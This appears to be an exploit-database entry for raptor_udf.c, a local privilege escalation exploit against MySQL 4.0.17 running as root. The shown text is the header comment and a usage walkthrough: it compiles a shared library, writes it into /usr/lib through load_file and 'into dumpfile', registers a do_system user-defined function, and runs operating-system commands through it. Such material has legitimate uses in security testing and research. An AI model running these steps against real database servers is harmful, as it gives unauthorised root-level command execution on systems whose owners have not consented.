MySQL 4.0.17 UDF Dynamic Library Exploit. Local exploit for linux platform

 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through 
 * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
 *
 * Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can be 
 * expanded by means of custom written dynamic libraries containing User 
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
